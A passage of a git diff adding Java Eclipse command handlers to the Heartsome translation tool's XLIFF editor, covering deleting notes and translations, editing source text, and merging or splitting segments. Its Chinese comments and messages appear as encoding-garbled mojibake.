MessageDialog.openConfirm(HandlerUtil.getActiveShell(event), +// Messages.getString("handler.DeleteCurrentSegmentAltTransHandler.msgTitle1"), +// Messages.getString("handler.DeleteCurrentSegmentAltTransHandler.msg1")); +// if (res) { +// BusyIndicator.showWhile(Display.getDefault(), +// new Runnable() { +// public void run() { +// final XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; +// XLFHandler handler = xliffEditor.getXLFHandler(); +// +// final int[] rowIndexs = xliffEditor.getSelectedRows(); +// List rowIds = new ArrayList(xliffEditor.getXLFHandler() +// .getRowIds(rowIndexs)); +// +// handler.deleteAltTrans(rowIds); +// Display.getDefault().syncExec(new Runnable() { +// public void run() { +// IViewPart viewPart = window.getActivePage().findView( +// "net.heartsome.cat.ts.ui.translation.view.matchview"); +// if (viewPart != null && viewPart instanceof IMatchViewPart && rowIndexs.length != 0) { +// ((IMatchViewPart) viewPart).refreshView(xliffEditor, rowIndexs[rowIndexs.length - 1]); +// } +// } +// }); +// } +// }); +// } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteSelectSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteSelectSegmentHandler.java new file mode 100644 index 0000000..9ffdec0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteSelectSegmentHandler.java @@ -0,0 +1,39 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * åˆ é™¤é€‰ä¸­æ–‡æœ¬æ®µåŒ¹é… Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class DeleteSelectSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { +// IEditorPart editor = HandlerUtil.getActiveEditor(event); +// if (!(editor instanceof XLIFFEditorImplWithNatTable)) { +// return null; +// } +// IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); +// boolean res = MessageDialog.openConfirm(window.getShell(), "删除确认", "确定è¦åˆ é™¤é€‰ä¸­æ–‡æœ¬æ®µç¿»è¯‘å—?"); +// if (res) { +// XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; +// try { +// xliffEditor.updateSegments(xliffEditor.getSelectedRowIds(), xliffEditor.getTgtColumnIndex(), ""); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteSelectionSegmentNotesHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteSelectionSegmentNotesHandler.java new file mode 100644 index 0000000..e4dd08e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteSelectionSegmentNotesHandler.java @@ -0,0 +1,91 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import java.util.HashMap; +import java.util.List; +import java.util.Vector; + +import net.heartsome.cat.ts.core.bean.NoteBean; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.NavException; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 删除所选文本段批注 + * @author weachy + * @version + * @since JDK1.5 + */ +public class DeleteSelectionSegmentNotesHandler extends AbstractHandler { + + private static final Logger LOGGER = LoggerFactory.getLogger(DeleteSelectionSegmentNotesHandler.class); + + public Object execute(ExecutionEvent event) throws ExecutionException { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(DeleteSelectionSegmentNotesHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + boolean res = MessageDialog.openConfirm(window.getShell(), + Messages.getString("handler.DeleteSelectionSegmentNotesHandler.msgTitle1"), + Messages.getString("handler.DeleteSelectionSegmentNotesHandler.msg1")); + if (res) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + XLFHandler handler = xliffEditor.getXLFHandler(); + List lstRowId = xliffEditor.getSelectedRowIds(); + // 先将应用范围为当å‰æ–‡æœ¬æ®µçš„批注删除 + handler.deleteEditableSegmentNote(lstRowId); + + try { + HashMap> mapNote = new HashMap>(); + for (String rowId : lstRowId) { + // 删除应用范围为所有文本段的批注 + Vector noteBeans = xliffEditor.getXLFHandler().getNotes(rowId); + if (noteBeans != null && noteBeans.size() > 0) { + mapNote.put(rowId, noteBeans); + } + } + xliffEditor.getXLFHandler().deleteNote(mapNote); + } catch (NavException e) { + LOGGER.error("", e); + MessageDialog.openInformation(HandlerUtil.getActiveShell(event), + Messages.getString("handler.DeleteSelectionSegmentNotesHandler.msgTitle2"), + Messages.getString("handler.DeleteSelectionSegmentNotesHandler.msg2")); + } catch (XPathParseException e) { + LOGGER.error("", e); + MessageDialog.openInformation(HandlerUtil.getActiveShell(event), + Messages.getString("handler.DeleteSelectionSegmentNotesHandler.msgTitle2"), + Messages.getString("handler.DeleteSelectionSegmentNotesHandler.msg2")); + } catch (XPathEvalException e) { + LOGGER.error("", e); + MessageDialog.openInformation(HandlerUtil.getActiveShell(event), + Messages.getString("handler.DeleteSelectionSegmentNotesHandler.msgTitle2"), + Messages.getString("handler.DeleteSelectionSegmentNotesHandler.msg2")); + } finally { + xliffEditor.refresh(); + } + + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteSelectionSegmentTranslationsHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteSelectionSegmentTranslationsHandler.java new file mode 100644 index 0000000..604872e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteSelectionSegmentTranslationsHandler.java @@ -0,0 +1,89 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 删除选中文本段的译文 + * @author weachy + * @version + * @since JDK1.5 + */ +public class DeleteSelectionSegmentTranslationsHandler extends AbstractHandler { + + private static final Logger LOGGER = LoggerFactory.getLogger(DeleteSelectionSegmentTranslationsHandler.class); + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + boolean res = MessageDialog.openConfirm(window.getShell(), + Messages.getString("handler.DeleteSelectionSegmentTranslationsHandler.msgTitle1"), + Messages.getString("handler.DeleteSelectionSegmentTranslationsHandler.msg1")); + if (res) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + try { + XLFHandler handler = xliffEditor.getXLFHandler(); + int[] selectedRows = xliffEditor.getSelectedRows(); + List rows = new ArrayList(); + StringBuffer message = new StringBuffer(); + boolean exitFlag = false; + for (int i = 0; i < selectedRows.length; i++) { + String tgt = handler.getCaseTgtContent(handler.getRowId(selectedRows[i])); + if (null != tgt) { + if (tgt.equals("no")) { + exitFlag = true; + message.append(handler.getRowIndex(handler.getRowId(selectedRows[i])) + 1 + ","); + continue; + } + } + rows.add(selectedRows[i]); + } + if (exitFlag) { + message.deleteCharAt(message.length() - 1); + + MessageDialog.openInformation(xliffEditor.getSite().getShell(), Messages + .getString("handler.DeleteSelectionSegmentTranslationsHandler.msgTitle2"), MessageFormat + .format(Messages.getString("handler.DeleteSelectionSegmentTranslationsHandler.msg2"), + message.toString())); + } + if (rows.size() != 0) { + int columnIndex = xliffEditor.getTgtColumnIndex(); + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getTargetStyledEditor(); + if (cellEditor != null && cellEditor.getColumnIndex() == columnIndex) { + cellEditor.getSegmentViewer().getTextWidget().forceFocus(); + } + int[] updateRows = new int[rows.size()]; + for (int i = 0; i < rows.size(); i++) { + int ri = rows.get(i); + updateRows[i] = ri; + } + xliffEditor.updateCells(updateRows, columnIndex, ""); + } + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + } + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteToEndOrToTagHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteToEndOrToTagHandler.java new file mode 100644 index 0000000..c1bde39 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteToEndOrToTagHandler.java @@ -0,0 +1,93 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import static net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder.PATTERN; + +import java.util.Hashtable; +import java.util.regex.Matcher; + +import net.heartsome.cat.ts.ui.innertag.SegmentViewer; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.NatTableConstant; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.graphics.Point; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 目标文本段中删除光标åŽæˆ–者标记å‰æ‰€æœ‰å†…容的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class DeleteToEndOrToTagHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + String deleteType = event.getParameter("DeleteContent"); + if (deleteType == null) { + return null; + } + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getFocusCellEditor(); + if (cellEditor == null || !cellEditor.getCellType().equals(NatTableConstant.TARGET)) { + return null; + } + if (!cellEditor.isEditable()) { + // cellEditor.showUneditableMessage(); + MessageDialog.openInformation(HandlerUtil.getActiveShell(event), Messages + .getString("handler.DeleteToEndOrToTagHandler.msgTitle"), cellEditor.getEditableManager() + .getUneditableMessage()); + return null; + } + StyledText styledText = cellEditor.getSegmentViewer().getTextWidget(); + int offset = styledText.getCaretOffset(); + Point p = styledText.getSelection(); + if (p != null) { + int len = styledText.getText().length(); + String preText = ""; + String nextText = ""; + SegmentViewer viewer = (SegmentViewer) cellEditor.getSegmentViewer(); + if (offset > 0) { + preText = styledText.getText(0, offset - 1); + preText = viewer.convertDisplayTextToOriginalText(preText); + } + // 删除标记å‰æ‰€æœ‰å†…容 + if (deleteType.equals("DeleteToTag") && offset < len) { + nextText = styledText.getText(offset, len - 1); + Matcher matcher = PATTERN.matcher(nextText); + if (matcher.find()) { + int index = matcher.start(); + nextText = nextText.substring(index); + } else { + // 选择删除标记å‰æ‰€æœ‰å†…容时,如果当å‰å…‰æ ‡ä¹‹åŽæ²¡æœ‰æ ‡è®°ï¼Œåˆ™åˆ é™¤å…‰æ ‡ä¹‹åŽçš„所有内容 + nextText = ""; + } + } + nextText = viewer.convertDisplayTextToOriginalText(nextText); + String newText = preText + nextText; + Hashtable map = new Hashtable(); + // Fix Bug #2883 删除光标åŽå†…容--åŒæ—¶é€‰æ‹©å¤šä¸ªæ–‡æœ¬æ®µè¿›è¡Œæ“作时,界é¢å‡ºé”™ By Jason + // for (String rowId : xliffEditor.getSelectedRowIds()) { + // map.put(rowId, newText); + // } + int index = cellEditor.getRowIndex(); + String rowId = xliffEditor.getXLFHandler().getRowId(index); + map.put(rowId, newText); + xliffEditor.updateSegments(map, xliffEditor.getTgtColumnIndex(), null, null); + // 定ä½å…‰æ ‡ + styledText.setCaretOffset(offset); + } + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/EditAllSourceTextHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/EditAllSourceTextHandler.java new file mode 100644 index 0000000..6e24e26 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/EditAllSourceTextHandler.java @@ -0,0 +1,19 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode; + +/** + * 编辑所有æºæ–‡æœ¬çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class EditAllSourceTextHandler extends ChangeSourceEditableHandler { + + @Override + public SourceEditMode getSourceEditMode(EditableManager editableManager) { + return editableManager.getSourceEditMode().ALWAYS_EDITABLE; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/EditCurrentSourceTextHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/EditCurrentSourceTextHandler.java new file mode 100644 index 0000000..91a2b7d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/EditCurrentSourceTextHandler.java @@ -0,0 +1,19 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode; + +/** + * 编辑当å‰æºæ–‡æœ¬çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class EditCurrentSourceTextHandler extends ChangeSourceEditableHandler { + + @Override + public SourceEditMode getSourceEditMode(EditableManager editableManager) { + editableManager.getSourceEditMode(); + return SourceEditMode.ONCE_EDITABLE; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/EditSelectionSegmentNotesHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/EditSelectionSegmentNotesHandler.java new file mode 100644 index 0000000..516945e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/EditSelectionSegmentNotesHandler.java @@ -0,0 +1,41 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 编辑批注的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class EditSelectionSegmentNotesHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editorPart = HandlerUtil.getActiveEditor(event); + if (editorPart instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editorPart; + if(xliffEditor.getSelectedRows().length == 0){ + return null; + } + if (xliffEditor.getSelectedRows().length > 1) { + MessageDialog.openInformation(xliffEditor.getSite().getShell(), + Messages.getString("menu.BodyMenuConfiguration.msgTitle"), + Messages.getString("menu.BodyMenuConfiguration.msg5")); + return null; + } + UpdateNoteDialog dialog = new UpdateNoteDialog(xliffEditor.getSite().getShell(), xliffEditor,xliffEditor.getSelectedRows()[0]); + dialog.open(); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/MergeNextHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/MergeNextHandler.java new file mode 100644 index 0000000..8bf882a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/MergeNextHandler.java @@ -0,0 +1,72 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import java.util.List; + +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.MergeSegmentOperation; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 与下一文本段åˆå¹¶(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class MergeNextHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + List selectedRowIds = xliffEditor.getSelectedRowIds(); + if (selectedRowIds.size() < 1) { + return null; + } + String rowId = selectedRowIds.get(selectedRowIds.size() - 1); + XLFHandler handler = xliffEditor.getXLFHandler(); + + int rowIndex = handler.getRowIndex(rowId); + + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + if (rowIndex == handler.countEditableTransUnit() - 1) { // 是最åŽä¸€è¡Œ + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸‹ä¸€æ–‡æœ¬æ®µï¼Œä¸èƒ½åˆå¹¶ã€‚"); + return null; + } + String rowId2 = handler.getRowId(rowIndex + 1); + if (handler.isApproved(rowId) || handler.isApproved(rowId2)) { + MessageDialog.openWarning(window.getShell(), "", "已批准文本段,ä¸èƒ½åˆå¹¶ã€‚"); + return null; + } + + String fileName1 = RowIdUtil.getFileNameByRowId(rowId); + String fileName2 = RowIdUtil.getFileNameByRowId(rowId2); + if (fileName1 == null || fileName2 == null || !fileName1.equals(fileName2)) { + MessageDialog.openWarning(window.getShell(), "", "文本段ä¸åœ¨åŒä¸€ä¸ªæ–‡ä»¶å†…,ä¸èƒ½åˆå¹¶ã€‚"); + return null; + } + +// IOperationHistory operationHistory = OperationHistoryFactory.getOperationHistory(); +// try { +// operationHistory.execute(new MergeSegmentOperation("Merge Segment", xliffEditor, handler, +// rowIndex), null, null); +// } catch (ExecutionException e) { +// e.printStackTrace(); +// } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/MergePreviousHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/MergePreviousHandler.java new file mode 100644 index 0000000..0407e23 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/MergePreviousHandler.java @@ -0,0 +1,78 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import java.util.List; + +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.MergeSegmentOperation; +import net.sourceforge.nattable.selection.SelectionLayer; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 与上一文本段åˆå¹¶(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class MergePreviousHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + List selectedRowIds = xliffEditor.getSelectedRowIds(); + if (selectedRowIds.size() < 1) { + return null; + } + String rowId = selectedRowIds.get(0); + XLFHandler handler = xliffEditor.getXLFHandler(); + + int rowIndex = handler.getRowIndex(rowId); + + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + if (rowIndex == 0) { // 是第一行 + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸Šä¸€æ–‡æœ¬æ®µï¼Œä¸èƒ½åˆå¹¶ã€‚"); + return null; + } + String rowId2 = handler.getRowId(rowIndex - 1); + if (handler.isApproved(rowId) || handler.isApproved(rowId2)) { + MessageDialog.openWarning(window.getShell(), "", "已批准文本段,ä¸èƒ½åˆå¹¶ã€‚"); + return null; + } + + String fileName1 = RowIdUtil.getFileNameByRowId(rowId); + String fileName2 = RowIdUtil.getFileNameByRowId(rowId2); + if (fileName1 == null || fileName2 == null || !fileName1.equals(fileName2)) { + MessageDialog.openWarning(window.getShell(), "", "文本段ä¸åœ¨åŒä¸€ä¸ªæ–‡ä»¶å†…,ä¸èƒ½åˆå¹¶ã€‚"); + return null; + } + +// IOperationHistory operationHistory = OperationHistoryFactory.getOperationHistory(); +// try { +// operationHistory.execute(new MergeSegmentOperation("Merge Segment", xliffEditor, handler, +// rowIndex - 1), null, null); +// } catch (ExecutionException e) { +// e.printStackTrace(); +// } + + // 选中上一行 + SelectionLayer selectionLayer = LayerUtil.getLayer(xliffEditor.getTable(), SelectionLayer.class); + selectionLayer.selectRow(0, rowIndex - 1, false, false); + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/MergeSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/MergeSegmentHandler.java new file mode 100644 index 0000000..f3013c5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/MergeSegmentHandler.java @@ -0,0 +1,31 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * åˆå¹¶æ–‡æœ¬æ®µçš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class MergeSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + NattableUtil util = NattableUtil.getInstance(xliffEditor); + util.mergeSegment(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/SplitSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/SplitSegmentHandler.java new file mode 100644 index 0000000..8ef1898 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/SplitSegmentHandler.java @@ -0,0 +1,99 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.UpdateDataBean; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.NatTableConstant; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.SplitSegmentOperation; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 分割文本段 + * @author weachy + * @version + * @since JDK1.5 + */ +public class SplitSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getFocusCellEditor(); + if (cellEditor == null) { + return null; + } + if (!cellEditor.getCellType().equals(NatTableConstant.SOURCE)) { + showInformation(event, 